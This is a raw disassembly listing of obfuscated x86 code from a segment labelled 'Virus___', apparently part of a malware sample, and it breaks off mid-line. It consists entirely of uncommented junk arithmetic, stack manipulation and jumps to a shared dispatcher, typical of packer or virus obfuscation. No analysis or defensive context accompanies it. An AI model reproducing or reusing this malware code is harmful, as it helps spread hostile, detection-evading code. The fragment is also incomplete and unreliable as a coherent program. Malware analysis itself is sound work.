--------------------------------------------------------------------------- loc_55E05C: ; CODE XREF: Virus___:0055836Dj mov ebp, 2 sub esp, 4 mov [esp], esi mov esi, 188427B4h push eax mov eax, 32832CE4h inc eax shr eax, 2 xor eax, 22905D71h inc eax or eax, 0C3C13BDh xor eax, 773FE91Ch and esi, eax jmp loc_55F331 ; --------------------------------------------------------------------------- loc_55E08D: ; CODE XREF: Virus___:00550525j push 7E3B2662h push dword ptr [esp] pop eax push ecx jmp loc_555553 ; --------------------------------------------------------------------------- loc_55E09C: ; CODE XREF: Virus___:0055F0FCj mov [esp], ecx push 606377D8h pop ecx jmp loc_561739 ; --------------------------------------------------------------------------- loc_55E0AA: ; CODE XREF: Virus___:005506FDj push edi push esp push dword ptr [esp] pop edi add esp, 4 push eax mov eax, 67112A6h push esi mov esi, 3D624E2Bh shr esi, 1 add esi, 0E7BFEB8Dh xor eax, esi pop esi push ecx mov ecx, 6C71276Fh inc ecx and ecx, 43B1587Eh sub esp, 4 mov [esp], ebx mov ebx, 0FE757C1Bh add ecx, ebx mov ebx, [esp] add esp, 4 sub edi, ecx pop ecx sub edi, 21C01FF7h add edi, eax add edi, 21C01FF7h add edi, 3EA67C8Bh push dword ptr [esp] pop eax jmp loc_557B0A ; --------------------------------------------------------------------------- loc_55E110: ; CODE XREF: Virus___:005619A4j mov esp, [esp] push 3C1Dh mov [esp], esi push ecx jmp loc_55139F ; --------------------------------------------------------------------------- loc_55E121: ; CODE XREF: Virus___:00551AA2j sub esp, 4 mov [esp], esi push edi mov edi, 44281D4Fh shl edi, 5 jmp loc_55D5DD ; --------------------------------------------------------------------------- loc_55E138: ; CODE XREF: Virus___:00550D8Dj xor [esp+4], ebp pop ebp pop ebx xor ebx, 4B1C6F09h pop ebp push edx push esi jmp loc_553AE6 ; --------------------------------------------------------------------------- loc_55E14C: ; CODE XREF: Virus___:0055A09Cj not edx shr edx, 2 jmp loc_5555E8 ; --------------------------------------------------------------------------- loc_55E156: ; CODE XREF: Virus___:00558847j push edi push ebp sub dword ptr [esp], 23DE392Bh pop edi add edi, 23DE392Bh mov edx, edi pop edi push dword ptr [esp] pop ebp add esp, 4 xor [esp+4], edx jmp loc_55DA86 ; --------------------------------------------------------------------------- loc_55E179: ; CODE XREF: Virus___:00557A60j sub edx, 4 jmp loc_55BD6B ; --------------------------------------------------------------------------- loc_55E181: ; CODE XREF: Virus___:00563A72j mov ebp, 37310C9Dh sub edi, ebp pop ebp sub edi, eax jmp loc_55E60F ; --------------------------------------------------------------------------- loc_55E190: ; CODE XREF: Virus___:0055E4CAj add eax, 0FFFFFFFFh push ebp mov ebp, 34E4E47h sub ebp, 1 jmp loc_5501EA ; --------------------------------------------------------------------------- loc_55E1A1: ; CODE XREF: Virus___:0054FDB6j pop ebp neg eax add eax, 5FE5FFF7h jmp loc_5587FC ; --------------------------------------------------------------------------- loc_55E1AE: ; CODE XREF: Virus___:005549F1j xor edi, 496222BEh push edi sub dword ptr [esp], 698B7761h pop ecx push eax mov eax, 698B7761h jmp loc_55BCEE ; --------------------------------------------------------------------------- mov eax, [esp] push 79C9h mov [esp], edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edi, [esp] add esp, 4 jmp loc_553B46 ; --------------------------------------------------------------------------- loc_55E1FC: ; CODE XREF: Virus___:00559FB0j inc eax sub eax, 3BB0D311h xor ebp, eax jmp loc_550885 ; --------------------------------------------------------------------------- loc_55E209: ; CODE XREF: Virus___:00560DE9j mov esi, 4 mov ebx, esi mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55CC1F ; --------------------------------------------------------------------------- loc_55E224: ; CODE XREF: Virus___:00555F0Bj push 51F8h mov [esp], edx push ecx mov ch, 7Ah neg ch sub ch, 3Dh or ch, 0E6h jmp loc_563319 ; --------------------------------------------------------------------------- loc_55E23C: ; CODE XREF: Virus___:00553CF5j push esi mov esi, 8AF988F9h jmp loc_55CD9D ; --------------------------------------------------------------------------- loc_55E247: ; CODE XREF: Virus___:0054F85Cj add eax, 148F3E76h sub eax, 75D17133h push 6BAAh mov [esp], esi mov esi, 4A35031Eh sub eax, 4A223B4Fh add eax, esi add eax, 4A223B4Fh mov esi, [esp] add esp, 4 push ebx push 7FB74656h mov ebx, [esp] push edi mov edi, esp jmp loc_562B30 ; --------------------------------------------------------------------------- loc_55E284: ; CODE XREF: Virus___:00551D42j mov edi, esp add edi, 4 jmp loc_55787A ; --------------------------------------------------------------------------- loc_55E291: ; CODE XREF: Virus___:005571A9j push eax jmp loc_55F1ED ; --------------------------------------------------------------------------- loc_55E297: ; CODE XREF: Virus___:0055DB73j not dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_56312D ; --------------------------------------------------------------------------- loc_55E2A8: ; CODE XREF: Virus___:005627E3j mov edi, [esp] push edi mov edi, esp add edi, 4 jmp loc_55ED1F ; --------------------------------------------------------------------------- loc_55E2B9: ; CODE XREF: Virus___:005530A2j pop esi add esi, edi jmp loc_552F7E ; --------------------------------------------------------------------------- loc_55E2C1: ; CODE XREF: Virus___:00560839j mov [esp], ecx push ebx jmp loc_5601E6 ; --------------------------------------------------------------------------- loc_55E2CA: ; CODE XREF: Virus___:0055509Dj push 69DD7A2Ah pop ebx jmp loc_551673 ; --------------------------------------------------------------------------- loc_55E2D5: ; CODE XREF: Virus___:0055045Fj mov ebx, 0DD869C7h mov ebp, ebx jmp loc_556DD0 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_5568C4 ; --------------------------------------------------------------------------- loc_55E2EC: ; CODE XREF: Virus___:00561EE8j push 1A61h mov [esp], esi push edx jmp loc_56495C ; --------------------------------------------------------------------------- loc_55E2FA: ; CODE XREF: Virus___:00552D59j mov edi, 113C63F3h or ebx, edi pop edi jmp loc_55B533 ; --------------------------------------------------------------------------- loc_55E307: ; CODE XREF: Virus___:0055E54Dj add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_552250 ; --------------------------------------------------------------------------- loc_55E319: ; CODE XREF: Virus___:005567F0j xor ecx, 5FDE7F73h jmp loc_552AC9 ; --------------------------------------------------------------------------- loc_55E324: ; CODE XREF: Virus___:0055EE5Bj pop edi jmp loc_5609F8 ; --------------------------------------------------------------------------- loc_55E32A: ; CODE XREF: Virus___:005582EDj mov [esp], ebp mov ebp, 188042D7h push 1853h mov [esp], ecx mov ecx, 363C74E7h jmp loc_563117 ; --------------------------------------------------------------------------- loc_55E344: ; CODE XREF: Virus___:005576BBj xchg eax, [esp] mov esp, [esp] mov [esp], eax jmp loc_558020 ; --------------------------------------------------------------------------- loc_55E352: ; CODE XREF: Virus___:00551158j xor esi, ebp pop ebp jmp loc_562F6A ; --------------------------------------------------------------------------- loc_55E35A: ; CODE XREF: Virus___:005511DCj push 232Bh mov [esp], edi push 49051952h jmp loc_558FDE ; --------------------------------------------------------------------------- loc_55E36C: ; CODE XREF: Virus___:005584F9j mov cl, bh mov ebx, [esp] jmp loc_5564A9 ; --------------------------------------------------------------------------- loc_55E376: ; CODE XREF: Virus___:0054F9F3j push edi push eax xor dword ptr [esp], 2EF56FC3h jmp loc_55230A ; --------------------------------------------------------------------------- loc_55E384: ; CODE XREF: Virus___:005578DBj pop ebp pop dword ptr [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_557FD4 ; --------------------------------------------------------------------------- loc_55E397: ; CODE XREF: Virus___:00563469j mov eax, 4 add [esp+4], eax mov eax, [esp] add esp, 4 pop eax add eax, 4 push ebx mov ebx, esp add ebx, 4 jmp loc_558B3B ; --------------------------------------------------------------------------- loc_55E3BD: ; CODE XREF: Virus___:0055055Bj sub ecx, 0AC92C72h add ecx, ebx add ecx, 0AC92C72h pop ebx push edi push ebp jmp loc_55F982 ; --------------------------------------------------------------------------- loc_55E3D3: ; CODE XREF: Virus___:0055D75Dj xor eax, ecx pop ecx add esi, eax push dword ptr [esp] pop eax add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_562FE5 ; --------------------------------------------------------------------------- loc_55E3F0: ; CODE XREF: Virus___:00564CC5j push edi mov edi, 458A137Fh add edi, 6C79062Fh shr edi, 8 not edi add edi, 6B7B0C86h and ecx, edi pop edi xor ecx, 0C6392BF3h mov ebx, ecx pop ecx push ebp mov ebp, 72C503D2h sub ebp, 7C942693h and ebp, 1C00BEh not ebp inc ebp xor ebp, 8A4F84B0h add ebx, ebp jmp loc_56288D ; --------------------------------------------------------------------------- loc_55E435: ; CODE XREF: Virus___:00558DABj pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp mov ebp, 4835634Dh add ebp, 9640319h sub ebx, ebp pop ebp jmp loc_554E7A ; --------------------------------------------------------------------------- loc_55E457: ; CODE XREF: Virus___:0055C673j mov [esp], ebx mov ebx, 3C686F00h not ebx jmp loc_56498A ; --------------------------------------------------------------------------- loc_55E466: ; CODE XREF: Virus___:00561C0Dj mov [esp], ebp push edx mov edx, 915D8Ch mov ebp, edx pop edx sub edx, ebp pop ebp jmp loc_55B527 ; --------------------------------------------------------------------------- loc_55E47A: ; CODE XREF: Virus___:0055718Ej neg ebx and ebx, 7EF61B6Dh xor ebx, 62270630h mov ebp, ebx pop ebx sub ebp, 433741CFh or ebp, 64FA3BA1h xor ebp, 2960021Dh neg ebp neg ebp xor ebp, 0BB798088h add eax, ebp pop ebp mov ecx, [esp] sub esp, 4 jmp loc_558E55 ; --------------------------------------------------------------------------- loc_55E4B8: ; CODE XREF: Virus___:005518C3j mov eax, edx pop edx dec eax push ebp mov ebp, 6CF02572h or eax, ebp pop ebp sub eax, 79CA76CAh jmp loc_55E190 ; --------------------------------------------------------------------------- loc_55E4CF: ; CODE XREF: Virus___:0055B3BCj inc esi add esi, 0AC8097Ch jmp loc_5543A6 ; --------------------------------------------------------------------------- loc_55E4DB: ; CODE XREF: Virus___:0055DA9Dj neg ebp and ebp, 34786806h jmp loc_561B5F ; --------------------------------------------------------------------------- loc_55E4E8: ; CODE XREF: Virus___:0055FC60j sub edi, eax push ecx mov ecx, 17045E9h sub edi, ecx pop ecx jmp loc_551644 ; --------------------------------------------------------------------------- loc_55E4F8: ; CODE XREF: Virus___:0056225Ej add edi, esi jmp loc_555B8B ; --------------------------------------------------------------------------- loc_55E4FF: ; CODE XREF: Virus___:0055BAECj pop ebx xor eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp jmp loc_551775 ; --------------------------------------------------------------------------- loc_55E518: ; CODE XREF: Virus___:00551ACFj mov [esp], ebx push esp mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push edi mov edi, 4 push esi jmp loc_55C543 ; --------------------------------------------------------------------------- loc_55E541: ; CODE XREF: Virus___:00556F27j push dword ptr [esp] pop ecx push eax mov eax, esp add eax, 4 jmp loc_55E307 ; --------------------------------------------------------------------------- loc_55E552: ; CODE XREF: Virus___:0055D1B6j sub dword ptr [esp+4], 0AE05EFFh add dword ptr [esp+4], 42D777D4h mov ebx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_56402B ; --------------------------------------------------------------------------- loc_55E579: ; CODE XREF: Virus___:00560173j mov ebp, ebx pop ebx jmp loc_551AF0 ; --------------------------------------------------------------------------- loc_55E581: ; CODE XREF: Virus___:0055B128j sub esp, 4 mov [esp], edx xor [esp], ebx xor ebx, [esp] jmp loc_563146 ; --------------------------------------------------------------------------- loc_55E592: ; CODE XREF: Virus___:00556BA9j push 74F3h mov [esp], eax mov ah, bh mov [edi+38h], ah jmp loc_5608E7 ; --------------------------------------------------------------------------- loc_55E5A4: ; CODE XREF: Virus___:00552DC4j mov [esp], ebp push esp jmp loc_55EFC2 ; --------------------------------------------------------------------------- loc_55E5AD: ; CODE XREF: Virus___:00555762j pop edx mov dh, bh jmp loc_560671 ; --------------------------------------------------------------------------- loc_55E5B5: ; CODE XREF: Virus___:00562F03j pop eax add dword ptr [esp], 6BC92492h add [esp], eax sub dword ptr [esp], 6BC92492h sub dword ptr [esp], 13C5194Dh push ebp mov ebp, 64E24A3Eh push ebp mov ebp, 4DE756A5h sub dword ptr [esp+8], 3BEB54DFh sub [esp+8], ebp add dword ptr [esp+8], 3BEB54DFh pop ebp add [esp+4], ebp add dword ptr [esp+4], 4DE756A5h pop ebp jmp loc_551E0E ; --------------------------------------------------------------------------- loc_55E601: ; CODE XREF: Virus___:0055C326j sub bp, 8ABAh mov bx, bp pop ebp jmp loc_550B77 ; --------------------------------------------------------------------------- loc_55E60F: ; CODE XREF: Virus___:0055E18Bj add edi, 37310C9Dh jmp loc_557260 ; --------------------------------------------------------------------------- loc_55E61A: ; CODE XREF: Virus___:00556AC3j sub eax, 7DEC763Fh neg eax sub eax, 2B9F2861h add ecx, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_55A59F ; --------------------------------------------------------------------------- loc_55E637: ; CODE XREF: Virus___:0055C993j push 2B05h jmp loc_55FF39 ; --------------------------------------------------------------------------- loc_55E641: ; CODE XREF: Virus___:0055C617j xor [esp], edi xor edi, [esp] pop esp add [edi+24h], edx push dword ptr [esp] mov edx, [esp] add esp, 4 push 2D16h mov [esp], edx push esp jmp loc_559FB5 ; --------------------------------------------------------------------------- loc_55E662: ; CODE XREF: Virus___:00550BC5j sub al, 98h add al, 0CEh sub al, 0C8h push ecx jmp loc_551D5B ; --------------------------------------------------------------------------- loc_55E66E: ; CODE XREF: Virus___:00556F66j mov edi, 163A03C1h xor edi, 5CD12A24h xor edx, edi pop edi push 0 sub [esp], edx mov edx, [esp] add esp, 4 push 5C21h mov [esp], eax mov eax, 3AC40B3Bh sub edx, 63A17490h add edx, eax add edx, 63A17490h pop eax sub edx, 0FAE81685h push eax mov eax, 14B62BC0h inc eax inc eax jmp loc_553FCC ; --------------------------------------------------------------------------- loc_55E6BC: ; CODE XREF: Virus___:00558299j push 2AD1h jmp loc_55285F ; --------------------------------------------------------------------------- loc_55E6C6: ; CODE XREF: Virus___:005640C3j inc ecx xor ecx, 195B0FE9h and eax, ecx pop ecx push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_55A131 ; --------------------------------------------------------------------------- loc_55E6DB: ; CODE XREF: Virus___:00560AAAj push 20EE4FE4h jmp loc_558963 ; --------------------------------------------------------------------------- loc_55E6E5: ; CODE XREF: Virus___:0055B57Fj xor ecx, esi push dword ptr [esp] pop esi add esp, 4 add ecx, 0D6AE834Eh mov ebp, ecx jmp loc_558176 ; --------------------------------------------------------------------------- loc_55E6FE: ; CODE XREF: Virus___:0055BEC2j pop esp push ebx jmp loc_554165 ; --------------------------------------------------------------------------- loc_55E705: ; CODE XREF: Virus___:005619B4j mov esi, esp jmp loc_55B4F3 ; --------------------------------------------------------------------------- loc_55E70C: ; CODE XREF: Virus___:005558CCj jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55E711: ; CODE XREF: Virus___:00558921j shr edx, 1 cmp eax, edx jz loc_560CC2 push ecx push 76961D60h pop ecx dec ecx push ebx mov ebx, 20187908h jmp loc_557E30 ; --------------------------------------------------------------------------- loc_55E72E: ; CODE XREF: Virus___:0056017Dj add esp, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi mov edi, 4 add edx, edi pop edi push edi mov edi, 4 add edx, edi mov edi, [esp] add esp, 4 jmp loc_55EC47 ; --------------------------------------------------------------------------- loc_55E759: ; CODE XREF: Virus___:0055DC7Aj pop dword ptr [esp] pop esp mul ecx push 6F9Ch mov [esp], edx push eax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55E76E: ; CODE XREF: Virus___:00558205j sub al, 0Ch pop bx add al, dl sub esp, 4 mov [esp], edx mov dl, 56h add dl, 0FFh sub dl, 88h add dl, 0C2h jmp loc_55DA3C ; --------------------------------------------------------------------------- loc_55E78A: ; CODE XREF: Virus___:005618C5j mov esp, [esp] or edx, eax jmp loc_5641AB ; --------------------------------------------------------------------------- loc_55E794: ; CODE XREF: Virus___:0055CB01j push ecx mov ecx, 621A70A0h sub ecx, 27720E1Ch add ebx, 13C12B67h sub ebx, ecx sub ebx, 13C12B67h pop ecx shr ebx, 2 add ebx, 14A6F52h jmp loc_5546D8 ; --------------------------------------------------------------------------- loc_55E7BD: ; CODE XREF: Virus___:00553DC1j pop dword ptr [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_5545A9 ; --------------------------------------------------------------------------- loc_55E7DA: ; CODE XREF: Virus___:0055BF94j shl dl, 4 xor dl, 0D2h jmp loc_560032 ; --------------------------------------------------------------------------- loc_55E7E5: ; CODE XREF: Virus___:00564998j add eax, 2C8B4502h jmp loc_55D0A8 ; --------------------------------------------------------------------------- loc_55E7EF: ; CODE XREF: Virus___:0055BE68j xor ebp, 365E1529h mov ebx, ebp mov ebp, [esp] add esp, 4 push ebx pop esi mov ebx, [esp] add esp, 4 or edx, esi mov esi, [esp] add esp, 4 shl edx, 5 jmp loc_551A51 ; --------------------------------------------------------------------------- loc_55E815: ; CODE XREF: Virus___:00560B29j pop esp mov edi, [esp] add esp, 4 mov edx, [esp] add esp, 4 jmp loc_55C66E ; --------------------------------------------------------------------------- loc_55E82A: ; CODE XREF: Virus___:00553AF3j ; Virus___:0055AF08j push 7BF8h mov [esp], ecx push ebp mov ebp, 0A4A58E6h mov ecx, 0AB86E4Ah xor ecx, ebp pop ebp push 6B23h mov [esp], esi mov esi, 278F2A85h shr esi, 5 push 764Fh mov [esp], edx push ecx push ebx push 5F751A16h pop ebx push ebx add dword ptr [esp], 2A6563F9h jmp loc_556AE7 ; --------------------------------------------------------------------------- loc_55E86D: ; CODE XREF: Virus___:00553310j push edx mov edx, 6FB50B29h xor esi, edx pop edx jmp loc_55CE5A ; --------------------------------------------------------------------------- loc_55E87B: ; CODE XREF: Virus___:0055DF4Dj mov edi, [esp] push 513Ch mov [esp], esi mov esi, esp jmp loc_5570EF ; --------------------------------------------------------------------------- loc_55E88D: ; CODE XREF: Virus___:00551B78j pop esi add eax, esi sub eax, 4DF560DDh mov esi, [esp] add esp, 4 xor eax, [esp] jmp loc_551E6D ; --------------------------------------------------------------------------- loc_55E8A3: ; CODE XREF: Virus___:005642AAj push esi push 6D2D319Bh pop esi inc esi and esi, 7850412Ah sub esi, 68000109h mov eax, esi pop esi sub edx, eax jmp loc_55A305 ; --------------------------------------------------------------------------- loc_55E8C1: ; CODE XREF: Virus___:00553853j sub eax, ecx mov ecx, eax pop eax or ecx, 6FC5470h jmp loc_55FD86 ; --------------------------------------------------------------------------- loc_55E8D1: ; CODE XREF: Virus___:00558030j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi push dword ptr [esp+4] jmp loc_550EAB ; --------------------------------------------------------------------------- loc_55E8EF: ; CODE XREF: Virus___:0055D4FAj shr ecx, 7 push edx mov edx, 1194C7Ch or ecx, edx jmp loc_55EC6C ; --------------------------------------------------------------------------- loc_55E8FF: ; CODE XREF: Virus___:00553677j sub ebx, edx pop edx push esi jmp loc_561620 ; --------------------------------------------------------------------------- loc_55E908: ; CODE XREF: Virus___:0055FDEAj pop esp mov [esp], edx push ecx mov ecx, 3756DC0h mov edx, 35D42E0Ah shr edx, 6 and edx, 1678464Ah jmp loc_55F818 ; --------------------------------------------------------------------------- loc_55E925: ; CODE XREF: Virus___:0055E957j add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 2 add ebx, ecx pop ecx jmp loc_552F09 ; --------------------------------------------------------------------------- loc_55E93E: ; CODE XREF: Virus___:00554EBFj sar dword ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55E947: ; CODE XREF: Virus___:005614F3j pop esi xchg edi, [esp] pop esp idiv cx jmp loc_557CED ; --------------------------------------------------------------------------- loc_55E954: ; CODE XREF: Virus___:0054FE8Cj mov edi, [esp] jmp loc_55E925 ; --------------------------------------------------------------------------- loc_55E95C: ; CODE XREF: Virus___:0055ACBCj pop edi jmp loc_55BC6C ; --------------------------------------------------------------------------- loc_55E962: ; CODE XREF: Virus___:0055B2C6j or eax, esi pop esi add eax, 9257FA1Dh xor ebx, eax pop eax sub eax, ebx jmp loc_55BA5C ; --------------------------------------------------------------------------- loc_55E974: ; CODE XREF: Virus___:005580A0j push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 add edx, edi mov [edx], al mov edx, [esp] add esp, 4 jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55E992: ; CODE XREF: Virus___:005643B5j pop esp mov [esp], ecx mov ecx, 48A87D3Eh push ebp mov ebp, 46DA591Dh shr ebp, 1 inc ebp jmp loc_54FC20 ; --------------------------------------------------------------------------- loc_55E9A9: ; CODE XREF: Virus___:00556887j mov eax, [esp] add esp, 4 push ebx push 21380D9Ah pop ebx push edx mov edx, 99634F8h shr edx, 1 xor edx, 2AD70BC7h jmp loc_556DB4 ; --------------------------------------------------------------------------- loc_55E9CC: ; CODE XREF: Virus___:005637CCj sub edi, 4 jmp loc_55442A ; --------------------------------------------------------------------------- loc_55E9D7: ; CODE XREF: Virus___:00560B1Bj mov edx, esp jmp loc_5603B3 ; --------------------------------------------------------------------------- loc_55E9DE: ; CODE XREF: Virus___:0055D87Bj mov ah, bh pop ebx shl ah, 2 shr ah, 7 and ah, 10h xor ah, 35h push cx mov ch, 0B4h sub ah, ch mov cx, [esp] add esp, 2 sub bl, 0B9h sub bl, ah add bl, 0B9h pop eax jmp loc_54F917 ; --------------------------------------------------------------------------- loc_55EA0B: ; CODE XREF: Virus___:0055A582j push ecx mov ecx, 101086Bh push eax mov eax, 193973DBh xor ecx, eax pop eax push eax mov eax, 13146C1Ah or ecx, eax pop eax add ecx, 0A8595C30h add edx, ecx mov ecx, [esp] add esp, 4 jmp loc_559A39 ; --------------------------------------------------------------------------- loc_55EA39: ; CODE XREF: Virus___:00559E07j push eax sub esp, 4 mov [esp], ebx sub esp, 4 jmp loc_55F8AB ; --------------------------------------------------------------------------- loc_55EA4B: ; CODE XREF: Virus___:00558ED8j mov edi, 4DD0121Bh shr edi, 5 sub esp, 4 mov [esp], esi jmp loc_55C1E3 ; --------------------------------------------------------------------------- mov ax, fs:[edx] jmp loc_553398 ; --------------------------------------------------------------------------- loc_55EA6A: ; CODE XREF: Virus___:00562D18j add esp, 4 push ecx mov ecx, 6223410Dh push ecx jmp loc_55948F ; --------------------------------------------------------------------------- loc_55EA79: ; CODE XREF: Virus___:00559037j xor dword ptr [esp], 2A6821DCh pop edi xor edi, 2A6821DCh pop edx jmp loc_560D6D ; --------------------------------------------------------------------------- loc_55EA8D: ; CODE XREF: Virus___:00560934j sub al, 0A4h inc al and al, 0C8h xor al, 0E9h or cl, al pop eax sub cl, 25h mov bl, cl pop ecx xor al, bl push dword ptr [esp] pop ebx sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_5615CE ; --------------------------------------------------------------------------- loc_55EAB7: ; CODE XREF: Virus___:00551770j pop esi jmp loc_560939 ; --------------------------------------------------------------------------- loc_55EABD: ; CODE XREF: Virus___:00562299j shl byte ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55EAC6: ; CODE XREF: Virus___:0055105Dj sub al, dl pop edx add al, dh push ecx mov ch, 0DBh jmp loc_5613EA ; --------------------------------------------------------------------------- loc_55EAD3: ; CODE XREF: Virus___:0055FC33j add esp, 4 push ecx jmp loc_561A99 ; --------------------------------------------------------------------------- loc_55EADF: ; CODE XREF: Virus___:00561492j mov [esp], edx push 6B59h mov [esp], ebx mov bl, 20h jmp loc_555755 ; --------------------------------------------------------------------------- loc_55EAF1: ; CODE XREF: Virus___:00563296j dec ebx jmp loc_562D5C ; --------------------------------------------------------------------------- loc_55EAF7: ; CODE XREF: Virus___:00552AC4j mov [esp], ecx sub esp, 4 mov [esp], eax mov al, dl push 2392h mov [esp], edx mov dh, al push ebx jmp loc_5632B3 ; --------------------------------------------------------------------------- loc_55EB15: ; CODE XREF: Virus___:00563731j and ecx, 693241E5h inc ecx jmp loc_55175C ; --------------------------------------------------------------------------- loc_55EB21: ; CODE XREF: Virus___:0055451Aj mov [esp], edx jmp loc_557B76 ; --------------------------------------------------------------------------- loc_55EB29: ; CODE XREF: Virus___:00553393j mov eax, [esp] sub esp, 4 mov [esp], eax push 880h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop eax add esp, 4 push 4655h mov [esp], ecx push esp pop ecx add ecx, 4 sub ecx, 4 jmp loc_553135 ; --------------------------------------------------------------------------- loc_55EB60: ; CODE XREF: Virus___:00563FCFj mov [esp], ecx jmp loc_5631B9 ; --------------------------------------------------------------------------- loc_55EB68: ; CODE XREF: Virus___:005615E7j mov ebx, [esp] jmp loc_55377C ; --------------------------------------------------------------------------- loc_55EB70: ; CODE XREF: Virus___:0055DFF2j mov [esp+2], bh mov bx, [esp] push edx push esp pop edx add edx, 4 add edx, 2 jmp loc_559A6F ; --------------------------------------------------------------------------- loc_55EB8C: ; CODE XREF: Virus___:0055BAA3j add edi, ebx push dword ptr [esp] pop ebx add esp, 4 sub esp, 4 jmp loc_5630F0 ; --------------------------------------------------------------------------- loc_55EB9D: ; CODE XREF: Virus___:00559CA6j push esi mov esi, 4 add [esp+4], esi mov esi, [esp] jmp loc_55B80D ; --------------------------------------------------------------------------- loc_55EBAF: ; CODE XREF: Virus___:00563BDDj sub cl, 5Dh pop edx and al, cl pop ecx push 6C08h mov [esp], ebx push 0B1Fh mov [esp], eax push dword ptr [esp] push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 push eax mov eax, 4 add ebx, eax pop eax xchg ebx, [esp] pop esp push 5935h mov [esp], ecx jmp loc_557ACE ; --------------------------------------------------------------------------- loc_55EBF0: ; CODE XREF: Virus___:0055C1E9j neg ecx jmp loc_5522EB ; --------------------------------------------------------------------------- loc_55EBF7: ; CODE XREF: Virus___:0055DF70j xor ah, bl pop ebx xor dh, ah pop eax jmp loc_55BFF8 ; --------------------------------------------------------------------------- loc_55EC02: ; CODE XREF: Virus___:00550AE5j pop edx jmp loc_550A7B ; --------------------------------------------------------------------------- loc_55EC08: ; CODE XREF: Virus___:005602CFj push esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp push edi push ebp push 31E31788h jmp loc_550146 ; --------------------------------------------------------------------------- loc_55EC2A: ; CODE XREF: Virus___:0055F39Ej pop esi jmp loc_55A64E ; --------------------------------------------------------------------------- loc_55EC30: ; CODE XREF: Virus___:005586BFj sub esp, 4 mov [esp], ebx mov bh, ch push edx mov dh, bh not dh mov bh, dh pop edx mov ch, bh jmp loc_55D4FF ; --------------------------------------------------------------------------- loc_55EC47: ; CODE XREF: Virus___:0055E754j xchg edx, [esp] pop esp jmp loc_558332 ; --------------------------------------------------------------------------- loc_55EC50: ; CODE XREF: Virus___:00557E66j push ecx push edx mov edx, 348A060Ch mov ecx, edx jmp loc_55C008 ; --------------------------------------------------------------------------- loc_55EC5E: ; CODE XREF: Virus___:00557922j pop edx add ebp, ecx sub ebp, 5EA14BE5h jmp loc_558232 ; --------------------------------------------------------------------------- loc_55EC6C: ; CODE XREF: Virus___:0055E8FAj pop edx jmp loc_561321 ; --------------------------------------------------------------------------- loc_55EC72: ; CODE XREF: Virus___:00550A35j pop ebp push 0C47h mov [esp], eax push ecx mov ecx, 0A2B04ABh mov eax, ecx jmp loc_5511CC ; --------------------------------------------------------------------------- loc_55EC88: ; CODE XREF: Virus___:005613BCj mov [esp], eax mov eax, 0F34AC451h push ebp jmp loc_55F4D4 ; --------------------------------------------------------------------------- loc_55EC96: ; CODE XREF: Virus___:005566BCj push eax mov eax, 7AE12CFFh sub eax, 3A6D128Bh and ebx, eax pop eax push esi jmp loc_5576A7 ; --------------------------------------------------------------------------- loc_55ECAA: ; CODE XREF: Virus___:00562B81j mov [esp], edi push esp pop edi push edx mov edx, 29F84597h and edx, 15E0659Dh dec edx xor edx, 1E04590h jmp loc_561890 ; --------------------------------------------------------------------------- loc_55ECC7: ; CODE XREF: Virus___:0055724Ej sub edx, 7B605955h jmp loc_552DD7 ; --------------------------------------------------------------------------- loc_55ECD2: ; CODE XREF: Virus___:00559D26j push ebx push eax jmp loc_553CBE ; --------------------------------------------------------------------------- loc_55ECD9: ; CODE XREF: Virus___:00550660j add al, 1Eh add al, bl sub al, 1Eh sub al, 76h push 6DB9h mov [esp], ebx mov bh, 5Eh xor bh, 32h sub bh, 7Fh sub al, bh pop ebx jmp loc_55B76A ; --------------------------------------------------------------------------- loc_55ECF9: ; CODE XREF: Virus___:005604B2j or ecx, 220E72E4h add ecx, 0E63A2F11h jmp loc_558401 ; --------------------------------------------------------------------------- loc_55ED0A: ; CODE XREF: Virus___:0055A409j mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push eax jmp loc_55FA4F ; --------------------------------------------------------------------------- loc_55ED1F: ; CODE XREF: Virus___:0055E2B4j add edi, 4 xchg edi, [esp] jmp loc_55CD59 ; --------------------------------------------------------------------------- loc_55ED2D: ; CODE XREF: Virus___:00561FCEj shr ecx, 8 shl ecx, 3 neg ecx add ecx, 77C70A7Fh sub ecx, 4550D024h mov edi, ecx mov ecx, [esp] add esp, 4 mov ebp, edi jmp loc_55D0F2 ; --------------------------------------------------------------------------- loc_55ED53: ; CODE XREF: Virus___:00558DF0j push ebx mov ebx, 24BD5D72h xor ecx, ebx jmp loc_55B547 ; --------------------------------------------------------------------------- loc_55ED60: ; 